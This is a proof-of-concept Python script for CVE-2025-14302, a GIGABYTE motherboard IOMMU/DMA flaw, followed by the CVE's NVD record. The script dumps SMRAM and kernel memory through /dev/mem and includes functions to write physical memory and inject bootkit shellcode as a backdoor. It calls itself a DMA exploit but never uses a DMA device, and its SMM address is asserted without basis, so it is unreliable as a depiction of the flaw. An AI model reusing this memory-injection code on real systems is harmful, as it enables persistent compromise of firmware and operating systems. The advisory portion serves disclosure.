CVE-2025-14302

# CVE-2025-14302 PoC - DMA Memory Access via PCIe Device # This PoC demonstrates the concept of DMA memory access attack # Requires specialized hardware (FPGA-based DMA device, e.g., PCIe FPGA card) import os import struct # Note: This is a conceptual PoC for educational purposes only # Real exploitation requires specialized DMA hardware and UEFI/BIOS access class DMAAttackPoC: """ Conceptual DMA attack PoC for CVE-2025-14302 Attack Vector: Physical access with DMA-capable PCIe device Target: GIGABYTE motherboards with IOMMU misconfiguration """ def __init__(self, device_path="/dev/mem"): self.device_path = device_path self.target_address = None def check_iommu_status(self): """ Check if IOMMU is properly enabled On vulnerable systems, IOMMU may be disabled or misconfigured """ iommu_check_commands = [ "dmesg | grep -i iommu", "cat /sys/class/iommu/dma_api/version", "lspci -v | grep -i iommu" ] results = {} for cmd in iommu_check_commands: try: results[cmd] = os.popen(cmd).read() except Exception as e: results[cmd] = f"Error: {e}" return results def read_physical_memory(self, address, length=0x100): """ Read physical memory at given address On vulnerable system without IOMMU protection, DMA device can access any physical memory location """ # Conceptual implementation # In real attack, this would use DMA device driver try: # Open /dev/mem (requires root privileges) with open(self.device_path, 'rb') as f: f.seek(address) data = f.read(length) return data except PermissionError: print("[-] Requires root privileges or direct hardware access") return None except Exception as e: print(f"[-] Error reading memory: {e}") return None def write_physical_memory(self, address, data): """ Write data to physical memory at given address This allows code injection or creating backdoors """ try: with open(self.device_path, 'wb') as f: f.seek(address) f.write(data) return True except PermissionError: print("[-] Requires root privileges or direct hardware access") return False except Exception as e: print(f"[-] Error writing memory: {e}") return False def dump_smm_memory(self): """ Attempt to read System Management Mode (SMM) memory SMM contains sensitive firmware code and data """ # SMM memory region (varies by system) smm_base = 0xC0000000 smm_size = 0x10000 print(f"[*] Attempting to dump SMM memory at 0x{smm_base:x}") return self.read_physical_memory(smm_base, smm_size) def inject_bootkit(self, target_address, shellcode): """ Inject shellcode into memory for persistent backdoor Could target boot loader, kernel, or SMM """ print(f"[*] Injecting bootkit at physical address: 0x{target_address:x}") return self.write_physical_memory(target_address, shellcode) def main(): print("=" * 60) print("CVE-2025-14302 PoC - GIGABYTE IOMMU Bypass") print("=" * 60) poc = DMAAttackPoC() # Step 1: Check IOMMU status print("\n[1] Checking IOMMU status...") iommu_status = poc.check_iommu_status() for cmd, result in iommu_status.items(): print(f"\n{cmd}:") print(result if result else "No output") # Step 2: Read sensitive memory regions print("\n[2] Attempting to read protected memory regions...") # Read SMRAM (System Management RAM) smram_data = poc.dump_smm_memory() if smram_data: print(f"[+] Successfully read SMRAM: {len(smram_data)} bytes") print(f" First 32 bytes: {smram_data[:32].hex()}") # Read kernel memory region kernel_addr = 0x100000 # Typical kernel load address kernel_data = poc.read_physical_memory(kernel_addr, 0x1000) if kernel_data: print(f"[+] Successfully read kernel memory at 0x{kernel_addr:x}") print("\n[*] Note: Successful reads indicate vulnerable IOMMU configuration") print("[*] Mitigation: Enable and properly configure IOMMU in BIOS/UEFI") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-14302", "sourceIdentifier": "[email protected]", "published": "2025-12-17T03:15:57.443", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Certain motherboard models developed by GIGABYTE has a Protection Mechanism Failure vulnerability. Because IOMMU was not properly enabled, unauthenticated physical attackers can use a DMA-capable PCIe device to read and write arbitrary physical memory before the OS kernel and its security features are loaded."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://www.gigabyte.com/Support/Security?type=1", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/en/cp-139-10575-e4f41-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10574-ddf09-1.html", "source": "[email protected]"}]}}